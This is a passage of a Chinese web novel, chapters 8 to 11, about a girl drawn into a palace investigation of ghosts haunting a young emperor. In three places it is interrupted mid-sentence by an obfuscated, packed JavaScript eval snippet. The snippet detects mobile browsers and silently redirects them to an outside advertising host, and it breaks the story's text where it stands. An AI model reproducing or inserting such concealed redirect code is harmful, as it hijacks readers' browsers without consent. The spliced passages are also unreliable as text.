“我斗胆多问一句。”萧唤月好奇道,“我们现在要去哪里呢?” “赌场。” 得了答案,萧唤月不再多问。但她没去过这种场所,心下难免有些忐忑。 在她看来那是个混乱的销金窟,进去容易出来难,说不定私下还有些掏心掏肺的勾当——电视剧里不都这样演么,钱不够了就拿手脚心肝来换,榨干赌客最后一点本钱。 她偷偷看了花梁燕一眼。这位监正大人常年生活在穆心山上,应该没有什么沾染不良嗜好的机会。她带她去赌场,恐怕是有正事要办。 花梁燕转过一个又一个街口巷道,最后停在了一座三层阁楼前,这是十燕城里最大的赌坊。她熟门熟路地推开门往里进,回头用视线催促萧唤月跟上。 里面人声嘈杂,赌客众多,人们吆五喝六的声音嚷得萧唤月耳朵疼。 郯国律法并不禁止女子出入赌坊,但萧唤月看了一圈,女子还是占极少数。 欢呼声中夹杂着输家的哭喊,听得萧唤月心惊胆战。她低下头,几乎是贴着花梁燕的脚后跟在走,同时视线紧紧追随着花梁燕垂落的的衣袍一角,生怕拥挤的人流将她们分开。 幸好花梁燕的体格傲视群雄,像拨开玉米杆那样,轻而易举地在人群中开出一条通道。 花梁燕穿过拥挤的大厅,来到内侧一间装潢富丽的单独包房前。守门的伙计明显认识花梁燕,点头哈腰地向她打了一通招呼后,开门将她引入屋内。 “要不我在这儿等你。”萧唤月站在门口踌躇不前。 花梁燕面无表情地转过头来,冷冷道:“进来。” “......” 屋里正中央摆了张桌子,两名赌客一左一右,同样的姿势,身子前倾,目光紧紧注视着桌上的格盘。 右边的赌客是个方脸短髯的中年男人,他见到花梁燕前来,注意力立马从格盘上抽离,直起身子,用询问的眼神看向她。 而左边的赌客看起来年轻许多,尚未及冠,眉梢眼角尽是少年意气,还带着一丝势在必得的兴奋。 “击马!”少年大喊,欢呼道,“这下该我投骰子了。” 花梁燕看向右边的中年男人,一言不发,后者已经明白了她的意思。男人点点头,向花梁燕行了道礼,又对着赌桌左边的少年抱拳躬身,随后麻利告退,走前还带上了门。 “干什么啊!”少年不满,“才玩到一半,怎么就不玩了?我都快赢了。” “该回去了。”花梁燕无视他的怒气,平静道,“陛下也该收一收心。” “又不赌钱,玩玩儿而已。”少年满不在乎道,“再说了你也知道,那些脏东西缠得我没奈何,闭眼就得做噩梦,哪有心思管别的事。我不管,我就要待在外边玩,不回去。” 花梁燕:“这次来找陛下,正是为了这件事。” “什么?”他恹恹地打了个哈欠,注意到旁边局促不安的萧唤月,“所以她是你找来解决问题的?她会捉鬼么。” 8. 第 8 章 萧唤月听见“陛下”二字哪里还能不明白他的身份,眼下慌乱得手脚都不知该往哪放,心里直嘀咕:平民见到皇帝该怎么行礼来着?要作揖,还是跪拜? 最终只学着那短髯男人的模样躬了躬身:“陛下万福金安。” 少年看着她慌张的模样,噗嗤一笑:“还是个没见识的丫头。” 花梁燕:“她不是捉鬼的。” “我说呢,看起来不像是什么道人修士。”小皇帝打量起萧唤月,“行啦,别紧张。监正能带你到这里来,说明你也算半个自己人了,不必在意那些虚礼。” 萧唤月莫名松了口气,心想这位皇帝看起来似乎挺好说话,不怎么端架子,甚至都没有自称“朕”,看起来几乎就是个流连市井的普通公子哥儿,兴许是年纪尚轻的缘故。 听闻先帝去得早,当时还是太子的周启域,年仅四岁就被迫登基,担了大梁。算算时间,他应该没比她大几岁? 她垂眸:“谢陛下。” “她发现了重要的情报。”花梁燕对周启域道,“附近有阴阳裂隙,这是我们从前没想到的。” “阴阳裂隙?那是什么。” “是鬼界通往人间的通道。” 小皇帝来了兴趣,立马抓住重点:“哦?这么说来,找到源头了?” 多年来他饱受鬼怪侵扰,初时也就是睡不安稳,精神头差了点,没当回事。哪知后来情况愈演愈烈,小鬼们在他梦里为非作歹,而且很有针对性地只找他一人,连宫女太监们都安然无恙! 且这些小鬼源源不断,花梁燕出手灭了一批,却是治标不治本,它们很快又卷土重来。 为此花梁燕还联系上了丘山玉胥宗的修士,那边一听是皇帝做噩梦,没什么实质性损失,便也不如何重视。只象征性地派出两个弟子下山,调查一番无果后,送了周启域几样辟邪的法宝,便算是帮过忙了。 毕竟不是鬼界中人,对阴阳裂隙的了解不够充分,修士们没查出地界上有什么异象,心说没准这位小皇帝体质异于常人,格外吸引游荡的灵体。 让周启域练练内功心法或许会有所缓解......不过大家都很默契地没有提出这个不是办法的办法。皇帝身负江山社稷,享尽人间富贵,就要付出相应的代价——只要还在位一天,周启域就不能跟修仙两个字沾上边。 后来情况依旧没有好转,周启域身边聚集的鬼怪越来越多,量变引起质变,皇宫几乎变成了鬼域,连辟邪的家伙什都不好使了。 花梁燕放低了声音,跟周启域说完来龙去脉。后者听完,饶有兴致地看着萧唤月:“你家在哪请的术士,这么有能耐?轻而易举就找到了那什么,阴阳裂隙。” 萧唤月扯谎:“是个云游四方的神秘高人,他将阴阳裂隙堵上之后就离开了,现在已经不知所踪。” “堵上了。”周启域看向花梁燕,“那我不会再做噩梦了?” “还不能下定论。幕后之人有能耐撕开阴阳裂隙,难说没有第二次。” 周启域:“那怎么办?” “我会再联系一次玉胥宗。”花梁燕道,“兹事体大,他们不会坐视不管。眼下有了方向,调查起来会方便很多。” 玉胥宗藏经阁中,一定有与阴阳裂隙有关的记载。 “她呢?”周启域眼神瞟向萧唤月。 “自然是跟我们一起回宫。” 来之前,萧唤月没想到这事会跟皇帝有关。她顿感头痛,叹了口气:“一定要么。” 花梁燕:“萧小姐,抱歉,你没法置身事外。” “......好吧。”能理解。 她忽然意识到,说不定在花梁燕心里她还是嫌疑人之一呢。不过没关系,这浑水趟就趟了,事情要是能彻底解决,于她而言也是好事。 花梁燕见她没有异议,只是无精打采的站在原地,乍看挺淡然,可微微蹙起的眉头暴露出了她内心的不安。 联想到这女孩今日在自家府上刚被无赖纠缠了一番,现在又被搅进了这桩糟糕事里,有这样的反应再正常不过了。 花梁燕心中对她的怀疑减弱了几分,盯着那张苍白漂亮的小脸,语气不自觉软了下来:“萧小姐,你跟陛下一样,都被噩梦所扰,而你又找到了如此关键的线索。事情疑点颇多,解决前你最好都待在宫里。至于你父母那边,我会派人去解释。” 出了赌坊,一路无话。 接他们回宫的马车已经在外面等着。车内空间极大,坐十个人恐怕都绰绰有余,但花梁燕只让周启域和萧唤月坐进了车里,自己则骑马前行,跟在车侧。 车帘没有关严实,以花梁燕的目力耳力,可以清楚知悉车内人的一举一动。 她不擅长跟这种年龄的孩子相处,心想周启域与萧唤月年纪相仿,或许有话可聊。 也算是对萧唤月的一次试探。 没想到两人在车里隔得极远,一言不发。 直到进了宫门,一路打瞌睡的周启域才清醒过来,百无聊赖地左观右望,最后挤到萧唤月身边,声音放得低低的,与她说了进车以来的第一句话: “你觉得监正怎么样?” 萧唤月不大走心地夸了两句,意思是监正很好,哪儿都好。 “是吧。”周启域看向萧唤月的眼神中多了几分赞赏。 他还想说些什么,但谨慎地看了一圈,慢慢挪到窗前,自以为很隐蔽地伸手,将帘子拉严实后,才对萧唤月道:“朕想问你个问题。” 这时他倒开始以“朕”自称了。萧唤月想,难道进了皇宫,他就自动切换身份人设? 事实是,周启域以什么自称,一半取决于当下心情如何,一半取决于花梁燕是否在场。 现在是他与萧唤月的独处时间,监正人在轿外并不参与这场对话,因此他才下意识摆起了皇帝谱——在周启域看来,自己着实没必要对着一个刚认识的小姑娘假以辞色。 萧唤月:“陛下请讲。” “你说,朕在这儿来上一刀,”他指了指自己的脸,“会不会也变得像她那般威猛?” “......” 沉默了半晌,她只能婉言道:“陛下龙体为重。” “朕就知道,你也这么说。”周启域哼了一声,扭过头去,不与她说话了。 * 入宫后,萧唤月被安排到了“听风阁”。 这里离皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14206658|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寝宫很近,她被好吃好喝地供着,心中堆积的那点儿不满很快就散了个干净。 她还是很乐观的,美滋滋地想,平常哪有机会吃到宫里厨子做的菜呢?食材果然是上等中的上等,多吃一口都算赚到,不虚此行了。 这日,宫女照常来给她送菜,守在一旁待她用完饭后,再麻利地将食盒撤走,离开听风阁。 萧唤月抚着肚子,感受到新贴的二两秋膘,忽觉这样下去也不太好。 言隐坐在她对面,托着下巴,歪头好奇:“你怎么皱眉了?先前不是吃得很满意么,为什么现在不开心。谁让你不开心?” 一身黑的言隐跟影子似的来去无踪,萧唤月想着心事,一时没注意到他。 直到听见他的声音,才被惊得打了个饱嗝:“你什么时候来的?” “有一会儿了。” 她搬进宫里时并没机会同他知会一声,但他很快就寻到了她的去处。神不知鬼不觉,数度出没于深宫之中,竟也没被人发觉。 萧唤月通过他来打探事件的最新进展。 她顺了顺气,像往常一样问他:“阴阳裂隙的事怎么样?” “钦天监那女人和几个修士查了一圈,把城里残余的小鬼都捉了起来。” 萧唤月:“逼问?” “逼问有用的话,早就该查出真凶了。小鬼们什么也不知道,问它们为什么要靠近皇帝,全都说不出个所以然。”言隐顿了顿,“但是,问它们问什么要靠近你,它们的回答倒是大同小异。无非是一时兴起,被你身上的灵力所吸引......” 萧唤月不意外地点了点头。 “但也不是全无发现。”言隐继续道,“被你吸引过的那批小鬼,都是弱到进不去皇宫的。它们被龙气所挡,才退而求其次,在城中游荡,选中了你。” “这样啊。”萧唤月可耻地安下心来,掩饰般地喝了口茶。“说明皇帝才是第一目标。” 言隐:“对,但小鬼们自己都说不清楚为什么想靠近皇帝,他身上明明并没有可以吸引它们的地方。” “人为操纵的痕迹太重了。他们应该去找跟皇帝有仇的......不,也不一定是仇家,身居高位的人,哪怕什么都不做,也会有人想法子要拉他下来吧。” “是的。”言隐赞同,“我刚当上鬼王那会儿,总有不认识的鬼找来,要同我打架,想取代我的位置。” 萧唤月有些意外地看了他一眼:原来鬼界也有王位之争,还这么直接,一点儿权谋心机不带玩的,说干你就干你。 言隐如今能站在这儿,自然说明是打赢了。萧唤月便也不再多想,推过去一盏茶,问他:“喝吗?” “不喝,苦。” “爱吃甜的?” “嗯。” 他最喜欢的饮品其实是加了棉花糖的热巧,但这话不太好同萧唤月说。他不确定她穿越前的世界是个什么时代背景,社会文化环境又如何。万一是星际背景呢?又万一是什么未来科技风......那他们就很没共同话题了。 而且他还没想好要不要向萧唤月告知自己的穿越者身份,怕拉近距离不成反而弄巧成拙,引得她怀疑他别有目的。 9. 第 9 章 萧唤月把糕盏推向他:“这个甜。” 他不客气地拿起来吃了两口,有点噎嗓子。又想起来之前萧唤月吃完东西皱眉头,好像不大高兴的样子,于是再次抛出自己的提问: “你刚才为什么不开心?” 如果为她解决了烦恼的话,他在她心中的好感度应该就会上升吧。 “我没有不开心呀。” “有。”他很确定,“你摸肚子的时候,眉头皱很紧。” “哦......没什么,我是担心吃太多胖成球,回家后让爹娘认不出来。” 言隐想,这事好办。 “那这样好了,你少吃点。” 萧唤月:“行。” “怕浪费的话,我帮你吃。” “......行。” “我还以为你不开心是因为在宫里不习惯。”言隐腮帮子被糕点塞得鼓鼓囊囊,说话含糊不清,“都准备好带你出宫了。” 萧唤月闻言有点心动,她知道他能办到。 言隐把嘴里的东西吞下去:“要不要走?” 萧唤月惋惜地摇了摇头:“那可不行,到时监正还以为我畏罪潜逃,我嫌疑岂不是更大了。” 言隐觉得有道理:“也是。钦天监的人顺藤摸瓜查到了你的身世,知道你是被萧家捡回来的,差点怀疑你是其他国家安插进来的探子呢。” 萧唤月傻眼:“啊?” “别太担心,是差点。”言隐拍着胸脯保证,“最后还是没有怀疑到你身上。” 他告诉萧唤月,那些被捉住的小鬼,身上有一种很诡异的香味。味道很微弱,单拎一只鬼出来是闻不到的,可当它们聚在一起,那味道就变得浓烈了。 “我在旁边隐身观察情况,看他们都没反应......就猜他们会不会是没闻出来,也许只有鬼才对这种气味敏感?”言隐得意道,“于是我偷偷用了点法术让气味显形,事情果然出现转机。” 闻到那奇特香气的修士们茅塞顿开,猜出这气味就是小鬼们被控制的关键所在。 有个修士想起了传说中的驭鬼人,这类人随身携带一种特殊香囊,囊中香料是特制的,散发出的气味对鬼而言,相当于浓烈的迷药。再配合法诀,驭鬼人就可以控制鬼的心智,给它们强行植入某个念头。但当驭鬼人和鬼的距离太远,这种控制力就会减弱,甚至消失。 之所以是“传说中”,是因为在场众位修士,都未曾在现实中真正见过那神秘的“驭鬼人”。 监正问那修士:“道友是在哪里听闻这种传说的?” “下山做任务的时候,经过鲁国一个小镇,听当地人说的。” “他们为什么告诉你这些?” “我当时顺手收了只妖。被妖怪困扰已久的镇民大祸得解,很是感激我,硬要留我住宿两晚,就差把家底掏出来了。”修士回忆道,“这都是闲聊时他们告诉我的。” 监正点点头,表示了解。 修士继续道:“那些镇民还说,驭鬼人名头听起来响亮,但也只能控制灵体状态的小鬼而已,在大部分修士面前,这种技能显得很鸡肋,对战中实在不够看。后来这些驭鬼人就销声匿迹,或许是选择了另谋出路。” 监正越想越觉得这传说很真。 以前她不是没捉过皇帝身边聚集的小鬼来审问,当时小鬼们完全处于一种不可交流的状态,对她的问话置若罔闻。而这次小鬼们虽然惶恐,但竟然会老老实实做出回应了——是否说明驭鬼人已经逃离十燕城,所以导致对鬼的控制力减弱? 鲁国和郯国,一个在东一个在西,曾经因争夺一块中立地段有过纷争,后来几经谈判,国力较弱的鲁国做出让步,这块地落在了郯国手里。 动因有了,花梁燕立刻转变了重点怀疑对象,派出一队人潜入鲁国打探消息。 两国交锋,不动用非人力量,是凡界各国约定俗成的规矩。不参与人间战争,也是修仙界和鬼界的共识。如果鲁国率先破了规矩,钦天监有资格问责。 * 宫中景色虽好,跟家里比起来,却显得寂寥很多。 林官花匠们尽职尽责地把每棵植物都养护得漂漂亮亮,费心研究它们最美的形状角度。可怜树枝花叶都失去自由生长的权利,连黄色和绿色的配比都有讲究。 宫女太监们也跟植物似的,木然又无趣,不说一句多余的话,不做一件多余的事。 在这样的环境下,萧唤月心中焦躁与日俱增。 最初的新鲜劲儿过去,连每日最期待的吃饭环节都变得有些索然无味。她想念家里胖厨子做的菜了,是淡是咸她说了算。 又是一觉醒来,萧唤月望着床帐顶上绣着的锦簇团花,忽感不安:不知道外面是天亮还是天黑,爹娘起床了没有? 在这里生活,萧唤月唯一能交谈畅聊的对象竟然是言隐。他来得很勤快,每次都像例行公事一般,向她仔仔细细地阐明钦天监当下的调查进度,这方便了她能随时掌握第一手资讯。 萧唤月没有走壁穿墙的本事,处境便显得有些被动。她深知自己现在无法给言隐提供任何有价值的帮助,可言隐对她的态度依旧热络。 数日相处下来,她对言隐已经不再像初见时那般提防惧怕,但两人之间的交谈也绝不是轻松而有趣的。 言隐表面上对她十分热切且关照,但总会在某些时刻流露出心不在焉的神色,呈现出一种介于热情和敷衍之间的奇特姿态。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14206659|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他与萧唤月实在没有那么多可聊的东西,大多数话题依旧围绕着钦天监展开,偶尔聊聊花聊聊食物聊聊天气,当实在聊无可聊双双陷入沉默的时候,言隐就会像打卡结束了一样,向她愉快地道别:“我先回去了,下次见。” 然后在守门侍卫的视线死角中悄然一跃越过墙头,发梢起落,轻盈得像只翻飞的鸟儿。 萧唤月不解:他不是鬼中一霸么?哪里用得着这些麻烦手段。穿墙,隐身,他难道不会? 直到言隐的身影消失,她才收回目光,抿了口茶。 她喜欢这种带有微苦的清香,喝下去,好似心肺都在热茶里浸了一遭,舒畅极了。 如此看来,她和言隐实在有很多地方不同,小到饮食习惯,大到思维方式。 所以她很难做到推己及人。 她没法站在言隐的角度思考问题,也揣摩不出他的心事。 言隐究竟为什么对她三番两次示好,又为什么在她被困听风阁的这段时间里,常来探望? 萧唤月心有疑虑,却并没有选择刨根问底。反正自己身上无利可取,想不出这位鬼王究竟能图她什么。莫非是一时兴起,想找个说话聊天的伴儿? 总归这件事结束后言隐就会回到鬼界,那时他们便再没有交集的机会了。 在此期间,花梁燕来过一次听风阁。她告诉萧唤月:“如果那件事被查明真是鲁国人干的,那你的嫌疑就能被彻底洗清,小鬼们也会被放回鬼界,这事就算翻篇了。到时皇帝会赏赐你金银珠宝,布匹缎绢,以作为你提供重要线索的的嘉奖。” 萧唤月不置可否,只是询问:“我父母还好吗?” “令尊令堂一切安好。他们以为你正和新结识的好友一起,在寺中礼佛吃斋。” 同言隐的说法一样,看来是真的。 萧唤月稍稍放下心来,对着花梁燕笑了笑:“那我便继续留待听风阁,等您的好消息了。” 花梁燕:“还习惯吗?我可以再给你指派两个贴身宫女。” “不必不必,多谢监正好意。”她拒绝,“我在家里也不用贴身丫鬟的。” “嗯。”花梁燕没再坚持,转了话题,“我还有一个问题想问小姐。” “什么?” 是关于萧唤月信里曾提到过的那个神秘术士。 花梁燕很在意这个不存在的术士,有心要去寻一寻他。可再三试探,萧唤月坚持装傻,一问三不知。 “我当真不知晓他的去处。”萧唤月摆出真诚脸,“或许这类神秘高人总是来无影去无踪的,碰见全凭缘分。” 最后花梁燕只好作罢,离去时看向萧唤月的眼神若有所思:“那看来萧小姐你,仙缘一定极为深厚了。” 10. 第 10 章 花梁燕派出的人来信,称发现了一批可疑人士。 这群人白天睡觉晚上赶路,行路方向弯弯绕绕,但却一直在往鲁国皇宫靠近。最终,这群人在鲁国皇宫三十里外的一座荒山中被钦天监的人拦截捉获。 经搜查,这些人身上的确佩戴有一种奇特的香囊。 “基本已经可以确定,是他们搞的鬼。”花梁燕在偏殿中会见玉胥宗的几位修士,将这结果告知了他们,“这些驭鬼人我们会押回钦天监,只是目前依旧不能得知,是谁撕开了阴阳裂隙。兴许鲁王宫里还藏有其他奇人异士,但那地方,我们的人不好擅闯。” “与阴阳裂隙相关的典籍记载很少,这方面我们也爱莫能助。”几人之中为首的那位清俊修士苦笑着摇了摇头,“下山一趟却没帮上什么忙,实在抱歉。” 花梁燕:“此言差矣,若不是道友给出了驭鬼人的情报,事情怎么会这么快就有进展。” 小皇帝周启域也在场,不肯坐在上首,反而站在花梁燕旁边,昂着下巴走来走去。面上颇有几分帝王之威,嘴里却说着孩子气的话: “监正说得对,你功劳很大,我要赏你。你叫什么名字?” 那修士看起来温文儒雅,神清骨秀,外貌年龄约莫二十五岁上下。他听见皇帝的话只是温和地笑了笑,好脾气地回答道:“在下昭意。” “好,昭意。你想要什么?”周启域问他,“黄金,土地,还是什么奇珍异宝?” “谢陛下好意。但这些都是身外之物......” “我偏要送你身外之物。”周启域理直气壮,“身内之物你想要还没有呢。” 昭意有些为难。他向来不善辩驳,面对小皇帝的直言直语,有些不知该如何是好。 最终还是花梁燕替他解了围。 她轻咳一声:“陛下,别为难他们了。” “我要送他东西,怎么就是为难他们?” “他们在丘山生活,用不上那些。”花梁燕就事论事,“况且修仙之人的确清静寡欲。” “......行,仙长们果然不能同凡人相提并论。”周启域看上去还是不大高兴,说话依然夹枪带棒,但气势已经弱下去不少,“不想要算了。” 一屋子人都没说话。修士们是不知该如何回应,担心再失言惹周启域生气。花梁燕则是有些心烦意乱,手指在剑鞘上轻轻抚过,犹豫着该不该把那群不安分的驭鬼人砍了。 只有周启域哒哒哒的脚步声仍在持续着。 他心中越想越气,觉得此事不能善罢甘休——但这次火是冲着远在鲁国的鲁王发的:“鲁王好大的胆子!这回人证物证具在,他可不占理了。” 想了一会儿,他又道:“我要他割一座城给我。这点赔偿,不过分吧?” 说这话时他并非只是在单纯发脾气。尾音有些发颤,年轻帝王的兴奋和野心露出一角,他想,自己非要从鲁王身上挖下一块带血的肉才行。 花梁燕静静听着,没有回应。这不是她该掺手的范围了。 “对了。”周启域问花梁燕,“那些驭鬼人身上,有能证明他们和鲁王室关系的东西吗?” “有。” “是什么?”周启域大喜过望。他本来还想着,要是没有,他就自己伪造。 “一块入宫的令牌,被缝在其中一个驭鬼人的肚子里。” 周启域微讶:“这都能搜出来?” “缝得不深。如果他对自己再狠一点,我的人未必能发现。”花梁燕面具上方的眼睛平静无波,“还得感谢那驭鬼人对自己心存怜惜。” “这就好办了。”周启域沉思,“阴阳裂隙的事倒是可以暂且搁置,反正肯定是鲁王派出去的人做的。真正的幕后黑手都被找出来了,他手下那些小鱼小虾不重要。” 花梁燕:“嗯。” “之前辛苦你,监正。”周启域现在又像是个成熟的年轻人了,他说话条理清晰从容不迫,仿佛稳操胜券,开始为本国的利益做起打算,“接下来是我们郯国和鲁国的恩怨了,谈判的事,交给我这边的人就可以。” “好。” 玉胥宗的人面面相觑,相视无言。 钦天监出手的确狠辣,从花梁燕轻描淡写的几句话里,他们依稀明白过来那所谓的“搜身”绝不是剥了衣服检查身体那么简单。 花梁燕瞥过去:“几位道友,可以回宗门复命了。” “的确不该再叨扰。”昭意微微笑着,提出了一个让人意外的小请求,“但走之前,我想去见一个人,不知道可不可以?” 周启域奇道:“你想见谁就去见,干什么要征求我们同意?” “那个人现在住在宫里。” 花梁燕猜出来了:“是萧家那位姑娘?” “是。”昭意也不瞒着,“她尚未修炼,就能自行催化灵力。我想这位姑娘一定天资卓绝,倘若踏入修仙界,他日一定能有所作为。” “我看她不一定想去。”周启域不屑,“人家家庭和睦,为什么要跑上山去受那个苦。” “这......拜入宗门后也是可以回俗家探望父母的。” “她的确很有天资,心志也算坚韧。”花梁燕开口了。 周启域有些酸溜溜地望过去,“是怎么看出来的?” 她可从没这样夸过他。 花梁燕:“这不难看出。” 说完这话后她便沉默下去,没有要就此细聊的意思。 周启域不服气地低喃:“哼,不就是个娇滴滴的小姑娘......” 说实话,要不是昭意突然来这么一茬,周启域都快把萧唤月这号人给忘了。 “她好像住在听风阁。”周启域心血来潮道,“仙长,我去替你瞧瞧她。” “还是我自己去......” “我对她也挺好奇的,不可以吗?”周启域面上嘻嘻笑,眼里却是不容拒绝的坚决,“我还能顺便试探试探她的态度。万一她对修仙这事一点儿兴趣也没有,你就不必去自讨没趣了。” 昭意婉拒不成,叹了口气。他猜测小皇帝或许是在因他此前拒绝赏赐而颇感不快,决心要找一找他的不痛快。 他有些无奈,只得颔首应下:“那便有劳陛下了。” 大不了等周启域回来之后,他再去一次。 * 窗外凉风未歇,草尖结霜,白茫一片,似下了场早雪。室内冷香氤氲,暖炉中炭火早已熄灭,漆木屏风上绘了十二萼素裳白兰,弥漫出的寒气几乎要凝成实质。 账中少女仅着单衣,闭目凝神,气息匀和。运转周天之时,气血通行,脏腑经脉仿佛被濯涤过一遍。丹田中如有热流,令她此刻能不惧严寒。 过了许久,她缓缓睁眼。 “晨练”结束了。 对温度迟来的感知令萧唤月缓缓打了个寒战,赶忙起身加了件裌衣,披上外袍。她用指尖试了试银盆内的水温,迟疑了好一会儿,还是将就着盆中凉水,简单洗漱了一番。 她暗自提醒自己明天要晚点去烧水房接热水,否则这个天气,水放那儿没过多久,就能凉个透。 做完这些,她才慢悠悠坐到梳妆台前,对镜簪发。 镜中这张脸,与她本来的模样有九成相似,只是轮廓更加伶俐削瘦。眉尖细长,眼尾微微上扬——颇具攻击性的美貌,配合神态稍微装腔作势一番,便是十足的机灵精明相,看起来是很难得到“老实人”评价的类型。 她对自己这副长相当然不会有意见。对着镜子压眉瞪眼半晌,得出结论:这模样的确唬人,幻视一些跋扈大小姐。 下一瞬笑意就凝固在嘴角。 她眉头一皱,偏过头望向外间的方向,很清晰地听到小花园内传来脚踩枯叶的声音,且这声音越来越近......似乎有人前来造访。 “萧唤月,萧唤月!”外面那人也压根没想过要掩饰自己的动静,人未到声先至,中气十足地叫嚷着,“朕来见你了,快些出来,朕有话要与你说。” 连个传呼的太监都没带,周启域就这么孤身前来......不知该说是心大,还是随性至极。 萧唤月无奈起身,前去迎接。 “陛下万安。” “坐,坐。”周启域呵呵一笑,很犀利地指出,“朕看出你不太会行礼了,但朕......我不是来敲打你的。今天不整那些虚头巴脑的东西,咱们就敞开心扉,随便聊聊。” “陛下想聊什么?” “聊你。” 萧唤月闻言有些莫名,不知皇帝为何会突然表现出对她的兴趣,他们之间的交集少得可怜。 “......我?” 周启域直截了当道:“我想知道你究竟有什么过人之处。” 萧唤月心头缓缓浮出问号,不解其意。 但她灵光一闪,回忆起了以前面试暑假工的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我于修仙一途可能挺有天赋。”萧唤月把言隐送她的那本书瞒了下来,囫囵道,“在书肆意外过看到过一些练气的法子,照着练了段时间,觉得效果还不错......这算吗?” 她说得尽量委婉,使自己的阐述听起来像是轻描淡写的叙述,而不像是洋洋得意的自夸。 因为她隐隐约约感觉到,自己天赋高这件事,恐怕并不会让周启域感到高兴。 “算。”周启域从鼻腔里憋出一声不屑的闷哼,原来萧唤月已经察觉到自己在这方面能学有所成。若她再得知丘山玉胥宗弟子对自己青睐有加,怕是会高兴得翘尾巴。 心里漫起一丝微妙的嫉妒,周启域心想,如果只看这点,他的确是比不过了,忙着当皇帝,哪有时间去练别的。 “监正知道你练那个东西吗?” “不知道......吧。”萧唤月回忆起她们第一次见面,那时她正忙着和无赖搏斗。 不过周启域突然提起监正是为什么? 萧唤月侧目看他,发现他正目光忿忿地低头瞪着地板,情绪不太好的样子。 她忽然敏锐地意识到,周启域绕这么一大圈,怕不是都在为最后这句话做铺垫吧?提起“监正”两个字时,周启域语速还特意慢下来,好像怕她听不清似的。 但萧唤月不解,自己天资是好是坏,跟监正能有什么关系? “那她为什么说你......”话到一半,周启域猛地住嘴,瞪了她一眼。 萧唤月:“......” 此时她脑子转得够快,联系起此前那些莫名其妙的对话,一个猜测在她心中成型——监正在周启域面前夸她了么? 自己疑似在不知情的情况下扮演了一次“别人家的孩子”角色,那个被比较的对象还是皇帝。 萧唤月皮笑肉不笑,轻咬着侧颊肉,心说这就是你来找茬的原因? “算了,懒得跟你说。”周启域甩袖起身,“朕要走了!” 对于他的喜怒无常,萧唤月竟然开始逐渐习惯。但习惯不代表喜欢,她觉得周启域挺烦人,衷心希望他以后再也别来。 心里骂骂咧咧,面上仍不失礼数:“好的,恭送陛下。” 走下台阶,周启域背对着她:“萧唤月。” 她笑不出来了,声音有气无力道:“草民在。” “你好事将近了。” “啊?” “我不告诉你是什么好事。”周启域幽幽道,“你自己猜去吧。” 萧唤月一言不发,注视着他走远。 确定周启域彻底离开视线范围后,她对着空气挥了个巴掌——烦,最烦说话只说一半的人! 11. 第 11 章 在周启域走后不久,萧唤月突然被告知,她可以回家了。 当夜,一顶小轿晃悠悠出了听风阁,走的是宫中小道,避开了巡夜的侍卫和太监。 萧唤月在轿中坐立难安,好容易才忍住了想要掀开帘子看一看的冲动。 小轿将她送到善宣门放下,而后她改乘马车,一刻不停地直奔萧家。 亥时将过,云婉和萧吟山更了衣刚要睡下,就听见外面雪眉扯着嗓子喊:“夫人,老爷!” 萧吟山隔着门呵止:“夜半三更,什么事情大呼小叫的!” “小姐,是小姐回来了!” 云婉本来眯着眼睛,听见这话猛地坐起来,惊疑道:“月儿?” 萧唤月身位落后了雪眉几步,捂嘴不及。她慌慌张张凑到雪眉耳边:“他们睡了就别喊了嘛。” 雪眉委屈:“我看夫人老爷才刚熄灯......” 云婉与萧吟山听到门外隐约传来的萧唤月的声音,对视了一眼:还真是女儿。 夫妻俩双双起身下床,披上衣服往外走。 云婉一见到萧唤月,欸了一声,匆匆上前拉住她的手。 萧吟山负手站在一旁,瞧着比云婉淡定些,却也没好到哪去,眼神盯着女儿似要盯出个窟窿。夫妻两个几番欲言又止,眼眶红了又红,想要责怪女儿却又舍不得。 “晚上出门,也不知道加个披风!”摸到女儿冰冷的手,云婉忍不住开了口,转头吩咐雪眉去烧热水,再拿点吃的过来给小姐垫肚子。 “爹,娘,我吃过晚饭的。” 云婉皱眉佯怒:“是是,外头的饭好吃,家里比不了。” 萧唤月识时务地改口:“——吃过,但又饿了。娘,你摸摸,我肚子都扁了。” 云婉嘴角翘起来又平下,怒气化成一声叹息:“你这丫头。”过了一会儿,又斜眼睨她,“真饿了?” 萧唤月拉着她的手晃了晃:“饿的不得了。我大半夜赶路回来呢,别生我气了吧,娘?” “那天,几个戴黑兜帽的人到家里来,说你和他们家小姐相谈甚欢,受邀去了永恩寺吃斋。”云婉问她,“娘怎么不知道你有这样一位好友?跟着她说走就走,连个信也不给家里留。” “事出突然嘛......”萧唤月没什么底气地说,“我和她是新认识的朋友,一见如故。她邀我去寺里吃斋也是一片好心,只是没想到寺里规律极为森严,斋期满前我没法随意联系你们。” “本来我和你爹想去寺里看看你,给你送几件厚衣服。”云婉又叹起气来,“寺里的和尚却说......” “什么?”萧唤月心里咯噔一下。 “说‘二位小姐的衣食起居都有本寺僧尼照料,施主请回吧。’,反正说来说去,就是不让我们进。” 萧唤月松了口气,看来花梁燕有和寺里人统一过口径,做事果真周全。 